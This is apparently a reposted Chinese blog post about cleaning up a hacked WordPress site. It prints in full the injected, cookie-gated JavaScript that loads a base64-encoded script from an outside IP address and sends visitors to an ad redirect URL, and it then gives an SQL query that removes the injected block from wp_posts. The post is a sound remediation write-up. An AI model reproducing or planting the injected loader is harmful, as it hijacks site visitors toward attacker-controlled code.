wordpress程序网站每天第一次打开的时候总会跳转到另外一个网站的处理方案

  • A+
所属分类:转发

前因

前段时间维护的一个WordPress小网站被黑,分析源码发现内容中多出了一段JavaScript代码:

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

访问页面的时候,会跳转到黑客的广告跳转页面

https://phovaikiereexa.gives/?u=k8pp605&o=c9ewtnr&t=newip2

wordpress程序网站每天第一次打开的时候总会跳转到另外一个网站的处理方案

wordpress程序网站每天第一次打开的时候总会跳转到另外一个网站的处理方案

经过追踪,最后发现是在MySQL中被注入了以上代码,所以需要在wp_posts表中把这些内容都替换掉
(当然后来加强了这个网站的安全防范)

2 解决

我们知道MySQL中无法用正则替换,后来在一个博客中找到解决方法,博客链接放在文末。
具体语句如下:

    update wp_posts set post_content = replace(
    post_content,
    substring(
    post_content,
    locate('<!--codes_iframe-->', post_content),
    locate('<!--/codes_iframe-->', post_content) + LENGTH('<!--/codes_iframe-->') - locate('<!--codes_iframe-->', post_content)
    ),
    ''
    );

    执行一下问题解决了。

    3 用到函数

    • LOCATE(substr, str):返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0。
    • SUBSTRING(str, pos, len):由<str>中的第<pos>位置开始,选出接下去的<len>个字元。
    • replace(str1, str2, str3):在字段 str1 中,替换 str2 为 str3。
    • leght(str):返回字符串的长度

    参考资料:

    1. mysql 正则表达式替换内容
    • 我的微信
    • 这是我的微信扫一扫
    • weinxin
    • 李少杰
    • 扫码送营销教程
    • weinxin
    lishaojie

    发表评论

    :?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: